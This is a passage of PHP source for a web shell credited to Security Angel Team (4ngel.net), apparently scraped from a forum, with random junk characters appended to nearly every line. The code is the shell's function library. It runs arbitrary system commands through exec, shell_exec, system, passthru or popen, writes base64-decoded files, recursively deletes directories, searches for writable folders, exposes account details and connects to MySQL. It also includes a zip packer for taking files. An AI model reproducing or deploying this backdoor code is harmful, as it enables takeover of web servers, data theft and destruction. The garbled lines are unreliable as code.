  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.2 T- H& C$ D3 S" [1 \$ G& Q  Y' D3 x
  1320. </div>
    . K- x7 |: h0 b: W5 P
  1321. </body># K7 ]1 U6 s( K, ^: n' [
  1322. </html>
    1 d% R5 O- n8 Z  u4 g" P8 Z
  1323. 3 I" v% k! ~$ H! P5 c! v7 |
  1324. <?php/ W2 ~& h! T6 E0 B

  1325. 6 e4 ~$ B' U( M
  1326. /*======================================================
    4 i7 d3 _3 V1 e
  1327. 函数库* _& o" x) A/ X5 S" A
  1328. ======================================================*/8 M, n7 I/ h- F& @0 t* Y

  1329. 4 t) u9 l3 n0 ?/ r' H, z
  1330. function m($msg) {
    & @. N# f3 H' Y0 H
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    ! I% ~, A! W8 I' F& z2 L
  1332.         echo $msg;
    1 G5 O- h9 E, n4 z1 s
  1333.         echo '</div>';* {5 R' C7 _: y& M
  1334. }# _% a, f, Z1 s2 Q7 e8 y
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {1 O2 a  N) W" r' Z9 r/ d
  1336.         global $admin, $timestamp, $_SERVER;
    : z" m6 z1 s# D- n" b/ Y
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;4 c4 P" b  G% p  g( K
  1338.         $life = $life ? $life : $admin['cookielife'];
    9 [' A' ]( g' X4 t2 D: g6 x' F( C4 w
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;4 p& x% g7 \7 B, o, A
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);( H9 n! S3 i# J* |+ c5 \, j8 p- `& T8 z3 n
  1341. }        & I/ [2 |5 B+ B2 A5 K
  1342. function multi($num, $perpage, $curpage, $tablename) {
    ! U) s9 [4 F7 d- X" K$ |
  1343.         $multipage = '';! \! v8 v( G. b( }0 W) q( E6 ^
  1344.         if($num > $perpage) {% }) ?) T0 y( @9 s6 H, f: [! b
  1345.                 $page = 10;
    ) K9 R& ^' p+ C' ?  g
  1346.                 $offset = 5;
    - q5 Z* E/ P: ?+ N) l
  1347.                 $pages = @ceil($num / $perpage);' R" @0 X3 t( f' R  p
  1348.                 if($page > $pages) {$ I+ Q2 d0 I' c; x* a
  1349.                         $from = 1;0 [! O* c! e! W$ r1 C+ }. T
  1350.                         $to = $pages;6 G# h( n& W$ F- J* L
  1351.                 } else {
    $ g! e) e+ n7 n) `* e* e
  1352.                         $from = $curpage - $offset;. ^, i6 g. G4 z7 ^
  1353.                         $to = $curpage + $page - $offset - 1;$ z  _8 o0 M$ X' B4 W2 E
  1354.                         if($from < 1) {1 M) `; n, O, X! ]. i" f5 Q
  1355.                                 $to = $curpage + 1 - $from;& N' ~: J3 h0 W
  1356.                                 $from = 1;- j$ Y+ P& W& ~
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {4 B6 C( d" ]# d! y% I) n4 a
  1358.                                         $to = $page;
    ) a- ^$ L& N7 ^/ `$ }/ }# i  Q3 J
  1359.                                 }1 b+ I& R8 u6 J) u
  1360.                         } elseif($to > $pages) {
    , H5 L6 ^0 g5 I' d- @3 M: D" \
  1361.                                 $from = $curpage - $pages + $to;
    $ C0 x$ u- w: T) S
  1362.                                 $to = $pages;# s1 ~- A) q# Q) O& X9 b6 s6 B" F
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    ; v( b5 I* y  `* r) e$ L: i
  1364.                                         $from = $pages - $page + 1;( j# n- n2 k# C$ j  \) W8 i- C( w
  1365.                                 }
    9 M4 ~$ X* P* P* j) x
  1366.                         }* J$ n) R% g/ G
  1367.                 }  T: w+ F0 j6 ^( o$ p
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');+ O; ~4 M( _% f& _. U% T
  1369.                 for($i = $from; $i <= $to; $i++) {6 `! l8 p- g/ s
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';* T4 P; o7 k5 J% a, }
  1371.                 }/ ^- i1 r- ~3 o& {9 l! X& c
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');$ i7 d3 o2 Z! |  a  H
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';. T' w' P$ e7 k6 p: M+ \
  1374.         }! p  i6 f# y9 V2 v7 V1 U( W
  1375.         return $multipage;
    9 v5 D/ x9 L1 C# d
  1376. }3 |5 i' `# V- i5 Y
  1377. // 登陆入口
    / |. T4 D: p5 X; Q
  1378. function loginpage() {
    9 H) }' P# R' N& e4 q& J
  1379. ?>$ f# Y. c2 R; H3 P6 {  W
  1380.         <style type="text/css">, b- ^! ^; z, c2 a. t; Q$ |
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}+ i- e" v" G- r1 e: |7 Z
  1382.         </style>
    ( w/ l5 b2 R! l: C* ]
  1383.         <form method="POST" action="">
    7 t5 m, |" g( C4 @1 H  }
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">  y- H$ _% i6 l  z2 R* C% C3 S
  1385.         <input type="hidden" name="doing" value="login">3 D* J$ ^4 v/ `9 f: `7 G
  1386.         <input type="submit" value="Login">
    5 R7 c! d8 h6 S3 ?/ c- {
  1387.         </form>
    ) p% H0 P1 _8 S' d' T$ B) V
  1388. <?php
    ' }! h, {$ _  Z  N
  1389.         exit;! X6 I" l( F% O, s" m# t* |! A5 k
  1390. }//end loginpage()% f0 H# i" j5 l( O( c) r! F
  1391. % j9 M. N9 b0 X3 h$ S7 y2 Y" j
  1392. function execute($cfe) {
      V/ d2 s8 E0 z" W
  1393.         $res = '';% z/ O( P3 g, P! Y0 ~' ]* v  u
  1394.         if ($cfe) {
    " n. }) e+ \/ ^. n$ i- @
  1395.                 if(function_exists('exec')) {
    $ @, v- ^9 i( @; F
  1396.                         @exec($cfe,$res);0 F- {/ @" {6 N: t$ [- s! I* I
  1397.                         $res = join("\n",$res);8 C4 a0 ?' N; ?+ C6 v, h
  1398.                 } elseif(function_exists('shell_exec')) {( ^1 P, F( Q* c+ \& a9 V& }
  1399.                         $res = @shell_exec($cfe);4 I9 ~. k5 I8 Y: f$ J" p4 {
  1400.                 } elseif(function_exists('system')) {
    3 z- l- n  ?* U$ o1 a9 m" \& Z2 d
  1401.                         @ob_start();
    + ~  F* \1 H& R' `  @! y
  1402.                         @system($cfe);6 i8 B4 w) H  h' U% L0 M
  1403.                         $res = @ob_get_contents();
    3 k5 F- h% g7 R5 t
  1404.                         @ob_end_clean();
    # u. i* i0 j& P6 J  e
  1405.                 } elseif(function_exists('passthru')) {
    * F0 @, [' ~  ?8 H
  1406.                         @ob_start();* G4 h4 i* u$ r8 I4 t% K# ~2 c9 N
  1407.                         @passthru($cfe);/ ^) S2 U) C/ X* d" l& V- ]
  1408.                         $res = @ob_get_contents();
    . S( ^8 S/ h  q2 ], N3 r9 r
  1409.                         @ob_end_clean();/ H  ?$ _1 ^6 M1 m. S
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    & e# L$ e4 N' W$ T# f$ ?% X
  1411.                         $res = '';
    # {4 h0 R. ^4 o* L! F& Z1 H1 f
  1412.                         while(!@feof($f)) {6 ?  Y# k/ D( C0 U) Q7 g
  1413.                                 $res .= @fread($f,1024); 5 P+ V4 v/ ]3 o3 }
  1414.                         }2 \. d3 V  R* b1 E$ w
  1415.                         @pclose($f);
    ( e4 R! m9 I( y6 F7 P: Y
  1416.                 }( w/ A5 y9 ?$ q$ G
  1417.         }
    $ Q8 z/ U9 ~: Z
  1418.         return $res;% g0 {3 i3 b5 a2 G9 {
  1419. }8 j4 Z4 ^& c3 s( C4 c/ d% {" L0 m
  1420. function which($pr) {: `5 H5 I$ y5 `6 V1 T
  1421.         $path = execute("which $pr");3 W; d, \& G$ G% R
  1422.         return ($path ? $path : $pr);
    " ~- h5 A+ B# w' B" S1 M, \9 T  X- M
  1423. }2 J, f: N* @8 O$ W" a
  1424. * _- k8 f7 u  p" g- e- W9 J
  1425. function cf($fname,$text){
    1 w- p& {# |  E+ I- J. [" C
  1426.         if($fp=@fopen($fname,'w')) {, D3 W1 \9 Y8 F: U2 P* J; ^
  1427.                 @fputs($fp,@base64_decode($text));
    . I4 M+ T3 o& ?* t+ e1 F& _4 {
  1428.                 @fclose($fp);# L0 }+ }: D: U$ m* S
  1429.         }; k, I- ^* r: [7 t3 }
  1430. }9 r( E& q4 q8 H. p  I2 b) g$ i
  1431. 3 k9 _$ o! Z" \( g+ B$ B( s% t: j
  1432. // 页面调试信息
    . r) L$ o, [+ Y, s6 G3 w
  1433. function debuginfo() {
    0 L, e: N0 d  ~; ]
  1434.         global $starttime;3 O" g$ M7 r$ \& p- n' V( {6 @& B
  1435.         $mtime = explode(' ', microtime());/ e  y/ d4 U( E% s" f$ V
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      \+ _2 B+ `7 O) A: K1 J
  1437.         echo 'Processed in '.$totaltime.' second(s)';( l1 `6 @* H' c1 L7 C' R' K6 B( n
  1438. }6 w* |6 L/ `9 Q9 @0 B' f

  1439. & g* M+ x6 [; x2 K+ {
  1440. //连接数据库
    7 _' L7 V% I) W$ c: }
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
    % L5 ~) p9 o0 |: Y2 F4 ^* d6 D/ \2 w
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
    2 ^" h3 e: C" E4 T
  1443.                 p('<h2>Can not connect to MySQL server</h2>');1 D) O8 l! x4 D; \/ o
  1444.                 exit;
    % j* K' I6 C- x/ E' |
  1445.         }7 t) h2 g; y$ v& Q& d% ^( z) _3 ~
  1446.         if($link && $dbname) {; d; Y, \) ?* Z# O( e1 R8 ~
  1447.                 if (!@mysql_select_db($dbname, $link)) {
    ) c8 L0 i9 J* r; K+ f  w0 L
  1448.                         p('<h2>Database selected has error</h2>');1 ~' \" f$ N) M
  1449.                         exit;) q; n% C" T/ `# v. ~5 j/ c. c' g
  1450.                 }
    8 T7 ]3 x& [) B( o
  1451.         }  R( c4 Z( B: s+ T( r" _6 U
  1452.         if($link && mysql_get_server_info() > '4.1') {
    6 {! Q" c; n# X) M
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
    & W0 X" _/ h9 Q( e/ M7 f
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
    , j& z8 W! X) V' Y1 h0 e1 I3 t
  1455.                 }
    1 i* V/ z) p% e0 R
  1456.         }
    9 L! X, `, `# x- Y# F. M
  1457.         return $link;
      a5 m! M+ Y4 ~- A, V! x3 V  f4 |
  1458. }+ M% X$ @  y1 r4 E" ^" F7 l
  1459. 8 X9 L' m9 |9 I0 u8 @
  1460. // 去掉转义字符
    5 S5 U+ Y& t& _6 s% `* M" ?; Y
  1461. function s_array(&$array) {
    ' G" ]; b% O, k5 |, E6 \3 @
  1462.         if (is_array($array)) {
    6 q2 C: B% L/ U& y' b! |+ u* h
  1463.                 foreach ($array as $k => $v) {
    / S6 r0 }0 K$ s" ?$ i( _
  1464.                         $array[$k] = s_array($v);
    ; b: ~0 Y% x+ B! i9 }2 f9 t
  1465.                 }. K: l' ?; e$ Z) q2 q" @
  1466.         } else if (is_string($array)) {5 x7 R+ l$ U( ^$ Z* }4 M
  1467.                 $array = stripslashes($array);% T, {; t5 C, A& X
  1468.         }$ E  O- Y2 ?7 G/ X. ]9 p( H, t% t
  1469.         return $array;5 \) L& C! Q' T4 ^3 o
  1470. }
    $ s- C- Z# a- w! ]" O
  1471. 7 J4 r4 z& _+ w' p0 p& O$ N
  1472. // 清除HTML代码
    - N1 t# L5 e" L% ^9 b
  1473. function html_clean($content) {8 d( q. s; h2 q
  1474.         $content = htmlspecialchars($content);
    8 _- \& X( V9 B2 w# p3 M
  1475.         $content = str_replace("\n", "<br />", $content);9 K+ i! q) e6 x3 N' k6 ^
  1476.         $content = str_replace("  ", "  ", $content);
    3 V, y! ?( x3 F- L5 j
  1477.         $content = str_replace("\t", "    ", $content);" q5 q% o0 W# u2 K8 f% v
  1478.         return $content;1 C: {% S6 }: m/ C: [4 T) Z! t- w
  1479. }
    1 g) \: C1 x+ t7 H8 ^# F
  1480.   h8 n: O5 ~% |7 s- w
  1481. // 获取权限4 p. t# g$ T! u& ]
  1482. function getChmod($filepath){
    7 S, P. C5 D9 s
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);% V. G+ ~( H( o" @: S
  1484. }
    0 k7 k: C0 E! B5 R
  1485. % H2 R. }( t& E% r
  1486. function getPerms($filepath) {! B4 C5 l, O# U9 M# H6 L8 d
  1487.         $mode = @fileperms($filepath);0 s- c! ?( G6 N' T  J! N# Q
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
    ' X  e! Z4 X; ~
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
    - @$ ]) n; {0 ^3 ?/ d4 z
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    " j/ T. ~* \% l: Y" \) a+ l5 S
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} % @5 l2 H; f2 ~
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
    # s! L( d) \3 a/ W3 v, o9 I
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}" ?: g, Z# u( B4 W; H' ~# |
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
    . Q* m2 B" y; v8 X: ]+ y) i! c  p
  1495.         else {$type = '?';}
    0 o) X% u! w6 S

  1496. 0 e, c' U8 M2 o/ P
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-'; ; `* O3 f4 V+ Z0 v
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
    - p" c2 ]! x/ A3 C7 ]
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    2 b. H. A! f( s) c1 p
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    0 Q8 C: r$ D# G
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-'; ! n9 [+ F1 u1 v' t( H! y
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
    : j* V& L* i8 V( ?; Y' q+ ^
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-'; 6 c' C2 [& P+ x& U
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    ' F0 b7 ~  D  A% e% K) \. v
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; $ t3 B) A+ O) k- x

  1506. 7 M6 E; @! G; C/ w( d1 T
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
    ; c- A/ j+ j" ?
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    0 p3 T0 Z1 ]8 I4 f, B) B& {
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}# M) R# z& w* S
  1510. " i' S$ q2 K8 }% n3 E0 a: l
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];0 f) [6 c  K+ E) q
  1512. }
    . i7 Y  `4 A# a
  1513. 2 {! M& n6 _, k4 a" o
  1514. function getUser($filepath)        {
    ) X9 J2 ?2 Y: S' [* X
  1515.         if (function_exists('posix_getpwuid')) {0 d! ]- c/ M7 d8 D
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));! f/ ]5 H8 g0 c) y3 J' k9 l" N
  1517.                 if ($array && is_array($array)) {
      u; v3 e. j2 c1 f
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'2 D  ~* Q5 Q! O+ A1 g" R# M! D+ {
  1519. Passwd: '.$array['passwd'].'" F/ z2 _8 f! V/ K! {' M3 b
  1520. Uid: '.$array['uid'].'
    8 h# v) p( @! o0 N) S/ F
  1521. gid: '.$array['gid'].'
    8 h5 \* M- x" ]0 A
  1522. Gecos: '.$array['gecos'].'* V8 @5 D0 O9 K2 E! V
  1523. Dir: '.$array['dir'].'- h, T  A3 _3 r& b# h" z& G' E6 j+ V" c
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';5 r, V0 G* O$ G' }
  1525.                 }2 t3 Z) h# X0 g3 W0 C5 [; `
  1526.         }
    ' [) w. ?& m9 |/ W
  1527.         return '';
    1 ~4 S% Q1 F' M
  1528. }6 U* C, L. |# u) ?* L% f2 G0 I" l

  1529. & x9 |4 Y8 O% ^6 S, @. u
  1530. // 删除目录
    ' D" U$ ]  z" H  N- N
  1531. function deltree($deldir) {
    8 }+ d0 P* z* E. n
  1532.         $mydir=@dir($deldir);        + S0 [$ b- k3 K( f4 f
  1533.         while($file=$mydir->read())        {                
    $ H$ M' R1 J% n9 C! A
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { * i% Y* l8 F: t" u" h: v/ c  j
  1535.                         @chmod($deldir.'/'.$file,0777);
    9 D- q/ |( G  R5 ?6 {! L* X
  1536.                         deltree($deldir.'/'.$file);
    $ S" n  s4 m2 y# }3 L2 i7 h
  1537.                 }( Q  U, u7 |& }0 U: x0 l* ]; u9 c3 H
  1538.                 if (is_file($deldir.'/'.$file)) {
    9 M# }' X) o7 A0 V3 T& O
  1539.                         @chmod($deldir.'/'.$file,0777);" D) S; f1 j3 m* @. F
  1540.                         @unlink($deldir.'/'.$file);
    ! W* A) ?9 P; p6 P8 }" ]
  1541.                 }
      n# D2 U2 b: {7 ^; ^
  1542.         } 9 p3 l: e) Y4 C$ U) }7 x0 L0 }
  1543.         $mydir->close();
    ' H4 _9 W6 P3 O5 R" \3 p9 E! D
  1544.         @chmod($deldir,0777);, w3 ^9 I9 Z) B0 Z
  1545.         return @rmdir($deldir) ? 1 : 0;3 r$ R4 T& N7 j/ @# i' w
  1546. }
    9 J' W( k9 B" v. \

  1547. ' @* x7 V. F5 [: p& j
  1548. // 表格行间的背景色替换: u+ e' m) H: l# D+ J. A, g
  1549. function bg() {" J4 B0 Y- I* ?: F: t
  1550.         global $bgc;. I, j$ B1 m& y
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';/ T* o) b# i  x
  1552. }
    1 v5 I( x, A, U+ S9 m6 ^
  1553. 1 u0 g6 L/ w2 a" g; {0 w
  1554. // 获取当前的文件系统路径0 Q, B: M4 L9 h; i5 S
  1555. function getPath($scriptpath, $nowpath) {
    9 f; b' R9 C! R3 P7 I! F
  1556.         if ($nowpath == '.') {' P8 {) F8 L- R) ]: K( D
  1557.                 $nowpath = $scriptpath;/ [2 h; f, Y& A; V* s( m2 V2 J- ]
  1558.         }4 L( m& c' M4 [. z- t" F
  1559.         $nowpath = str_replace('\\', '/', $nowpath);
    ! j! ~. k$ {1 A2 K) j6 ]8 \% e
  1560.         $nowpath = str_replace('//', '/', $nowpath);, {4 `. o, a" U0 b0 @
  1561.         if (substr($nowpath, -1) != '/') {
    : d! l; R: q" G7 B. A) f
  1562.                 $nowpath = $nowpath.'/';
    & C/ a) e# r" h
  1563.         }/ u, A) H6 \0 _% A/ l2 x5 j# q
  1564.         return $nowpath;
    % K/ n4 g" ]* L! d  F+ s2 s
  1565. }
    $ u7 S: d4 K3 F6 J, j* ]

  1566. 3 a: g8 j( a% F. h- Q) o& \) F
  1567. // 获取当前目录的上级目录1 B+ O4 a9 Q! F, @7 X& }4 v
  1568. function getUpPath($nowpath) {8 d2 q% C. @; n4 r' E# J8 N
  1569.         $pathdb = explode('/', $nowpath);
    ! M# P7 ]4 F# U
  1570.         $num = count($pathdb);9 C3 u9 P$ @: ?3 p
  1571.         if ($num > 2) {- m( Z1 j- z5 p" I* G6 ~
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);1 r2 D+ J8 k: }
  1573.         }5 A" V6 e3 s4 a7 @1 a
  1574.         $uppath = implode('/', $pathdb).'/';
    . U/ Z6 x6 m% ?, v' N
  1575.         $uppath = str_replace('//', '/', $uppath);
    7 H9 ]' [9 P% U
  1576.         return $uppath;5 `0 a% ~: l* n9 ]
  1577. }! }6 v5 g- y$ m- l2 R
  1578. 6 L( G& x2 S- `& o
  1579. // 检查PHP配置参数: h4 ~' B0 x4 s4 ]
  1580. function getcfg($varname) {
    ! b9 T- z$ W. W6 Y
  1581.         $result = get_cfg_var($varname);8 o. n6 O9 C. |( L; q8 E
  1582.         if ($result == 0) {5 f# l% H4 J. c
  1583.                 return 'No';  d) f8 W# l, }. z, W" G( x" b( @
  1584.         } elseif ($result == 1) {& z2 w( G# T" \9 H6 i1 S# V
  1585.                 return 'Yes';
    / g6 L% [1 N, _, h4 b
  1586.         } else {7 n0 p6 J; m8 d6 `2 W7 X
  1587.                 return $result;
    # Y) U  C2 R3 r$ q
  1588.         }
    3 K1 a9 j$ F5 f6 r. q! ^3 o% A7 S% D
  1589. }
    , ~2 m0 }; ^& n. }' k  `. E" Q
  1590. ; P/ y* H/ b5 \& i& z2 b, u1 y
  1591. // 检查函数情况
    2 i$ t/ d, T# [' |/ X& R1 j
  1592. function getfun($funName) {+ Y7 u; |9 w( i; ?3 @7 {
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';" j; _2 `' F7 r  B. O2 `/ r1 E
  1594. }( [& |$ v  |* v
  1595.   I3 Q& @$ U0 }/ y
  1596. function GetList($dir){; t. d8 M! r* X& \
  1597.         global $dirdata,$j,$nowpath;* f* j9 M. {4 I, S! S* y& ?
  1598.         !$j && $j=1;' E1 R" ]0 ?0 |# W" R" ]
  1599.         if ($dh = opendir($dir)) {
    / P- S3 ?" r7 ~6 `3 }
  1600.                 while ($file = readdir($dh)) {' [- o% T- o! [& N: b5 c
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);
    9 S$ `. K2 J1 E/ w1 |
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){$ h6 }+ Q: P: I1 F. b
  1603.                                 if (is_writable($f)) {
    7 F4 k6 v; b, W: F/ V
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
    * h1 f% H; P) L* w
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));2 p" i1 w4 ~% ~5 B- g9 k
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    1 e) ^( ?! @9 y' I* L/ O
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
    ! B8 w% u& L) w& H4 @
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
    + w+ W3 V' }4 _+ O1 U
  1609.                                         $dirdata[$j]['server_link']=$f;
    # w0 s4 @6 ~* Y( ^& J( d' w* `
  1610.                                         $dirdata[$j]['client_link']=ue($f);
    , y. O' J! {; d1 s+ m" r7 k. P
  1611.                                         $j++;
    6 G/ P. R5 v" A4 Q! g( G4 r
  1612.                                 }5 M+ u' i  }; C. S8 ?
  1613.                                 GetList($f);) ^, o5 q- n$ j5 n. f
  1614.                         }9 d  B% b, Q5 e, z! y
  1615.                 }
    6 r! p4 k' ~6 W0 j9 P
  1616.                 closedir($dh);
    & U; W& p8 U* J3 h( N/ _8 ], D
  1617.                 clearstatcache();" ]- l; T% o! R6 I! L" L
  1618.                 return $dirdata;
    ) |+ A( [+ n" N( U; i" \! o* ]
  1619.         } else {
    2 T9 B, w2 u5 W9 a  t
  1620.                 return array();
    & _* {; m& `& z# K
  1621.         }6 h7 V' |& y9 ]& e, w  ^6 h
  1622. }6 T8 {. r8 s: o9 Q/ ~

  1623. 0 E5 Z  }# I. D5 Q! D8 S( f
  1624. function qy($sql) {
    0 v2 J* T1 t% t4 W; v# k( t/ Z4 i4 b
  1625.         //echo $sql.'<br>';- k0 d9 q2 ~; B" M; g
  1626.         $res = $error = '';
    3 c1 V( Y% l) h/ C
  1627.         if(!$res = @mysql_query($sql)) {
    % }/ G% F& _8 }4 \0 N
  1628.                 return 0;7 s6 K3 f( p7 ?
  1629.         } else if(is_resource($res)) {5 X$ L1 b( Q0 u' }; `5 P
  1630.                 return 1;
    + f* V" \5 c( T
  1631.         } else {
    # s$ t9 N& ?. ?+ s: K
  1632.                 return 2;, i: t% f/ u. l# `4 h% ]
  1633.         }        ; x3 U7 D; W- {4 A3 S
  1634.         return 0;" C+ D5 |6 o7 ]) R# U. A" B
  1635. }
    6 X+ x, `  ~1 V" t' m
  1636. 1 d$ I( {3 ~; h4 d4 h
  1637. function q($sql) { % M* l# u; |, U" e* f
  1638.         return @mysql_query($sql);% ~: x. t- Z& k$ D8 V* b
  1639. }
    0 |2 g3 a4 Q* P) d5 @/ L. s
  1640. 6 K0 |6 J& Y9 ^9 B$ ?+ W
  1641. function fr($qy){) H6 ~5 K* a5 }, L. j
  1642.         mysql_free_result($qy);
    5 Y) L( k8 J) Z7 O2 r
  1643. }
    , `) e! D" l( N% i- n# [) b4 k, c

  1644. 2 b8 v2 x& h- N2 D* g
  1645. function sizecount($size) {, d( Q; [+ S+ ~+ P
  1646.         if($size > 1073741824) {  }6 w" c& D" C5 w3 W
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
    1 M( V8 \3 ~; o+ ~2 q4 |  F7 K" r
  1648.         } elseif($size > 1048576) {: j9 ?" T. N) M$ c( F* w$ [
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    / k( q$ I' \- _8 _2 f
  1650.         } elseif($size > 1024) {% O; P& y- D- V
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    7 |0 V  G! d. Y$ x( |$ g
  1652.         } else {5 D$ W( F3 z2 V! ~2 v
  1653.                 $size = $size . ' B';
    % A+ D6 o% e1 X" I4 z
  1654.         }8 m5 c# g" B% J" N8 m- u1 b. ?4 h& |
  1655.         return $size;
    ' r* t, X; A' M5 i3 t
  1656. }% H. b! M' P1 A0 f% B. i4 Y
  1657. 8 r: q( b+ m* N2 w0 X
  1658. // 压缩打包类
    # B  {1 W; O7 s/ ~3 U7 A) A
  1659. class PHPZip{4 ^1 @5 J; @' w0 Y; v3 I
  1660.         var $out='';0 }  l9 y' i- _
  1661.         function PHPZip($dir)        {* \/ A1 ]: v3 c* I6 s' a2 _6 f# x& ~
  1662.                 if (@function_exists('gzcompress'))        {' [6 r. n  L* q8 g0 f/ s, V
  1663.                         $curdir = getcwd();
    % U( @% F% {7 l8 @- U
  1664.                         if (is_array($dir)) $filelist = $dir;5 H& U1 R& C. X) B
  1665.                         else{
    / K: Q) s% a2 U) T& }
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    3 o8 s+ X! W  j# Z6 k  Y" V) e% I
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    3 O( F0 H! `1 }# O  b
  1668.                         }
    & w5 R0 j1 A6 r4 F: {5 R
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);) u+ C! ~+ m2 V% [( ^, F5 A: p3 M
  1670.                         else chdir($curdir);6 Z3 }! x- h5 w* u9 w4 U
  1671.                         if (count($filelist)>0){* f0 {; p1 y! Y. l9 H" H
  1672.                                 foreach($filelist as $filename){9 q1 }; }& S5 A
  1673.                                         if (is_file($filename)){
    8 E8 s* V' o7 _
  1674.                                                 $fd = fopen ($filename, 'r');! ?$ @3 T$ o# P  ]% K/ n
  1675.                                                 $content = @fread ($fd, filesize($filename));
    0 u! z+ f7 E; u
  1676.                                                 fclose ($fd);- O8 g. G- P: {7 H/ Z
  1677.                                                 if (is_array($dir)) $filename = basename($filename);; N  |' R7 u6 F0 k" B, T: `$ q
  1678.                                                 $this -> addFile($content, $filename);
    , w2 C+ v' T! h; Y
  1679.                                         }
    , m# ~+ `& z4 f, v
  1680.                                 }
    8 a9 }7 \8 r) I
  1681.                                 $this->out = $this -> file();% h9 h& W. Q  `* E) T4 q
  1682.                                 chdir($curdir);
    4 U- `  ]0 w4 I, \6 E4 E
  1683.                         }# C* A9 h. r) B
  1684.                         return 1;; P1 g7 D3 V$ w' ^/ I# Z7 K
  1685.                 }
    9 X% j( I. q- t- G5 K- Z2 D
  1686.                 else return 0;5 ?8 {& s& r4 m! t" J
  1687.         }
      @5 Y8 W) `! R8 B' C

  1688. / U! ], g4 T7 N- h$ H4 f
  1689.         // 获得指定目录文件列表
    / s  L) E, j( Q1 k
  1690.         function GetFileList($dir){+ q% D5 J% ]: A) l
  1691.                 static $a;; W, t0 N# a0 O6 {# E6 q6 _" ^
  1692.                 if (is_dir($dir)) {4 V6 I. q  j. ~9 B8 f1 U3 I# l$ v
  1693.                         if ($dh = opendir($dir)) {
    : Z2 F/ G% ~, a, T+ `
  1694.                                 while ($file = readdir($dh)) {
    ( |$ ^) @5 l0 a6 D; {" Q8 z0 w* a+ T
  1695.                                         if($file!='.' && $file!='..'){7 h1 f( q( A' F3 u9 h+ C
  1696.                                                 $f=$dir .'/'. $file;
    . V$ G6 l% w# X: `7 R! z0 n! L5 W
  1697.                                                 if(is_dir($f)) $this->GetFileList($f);8 ~& }, [3 m) ~( I
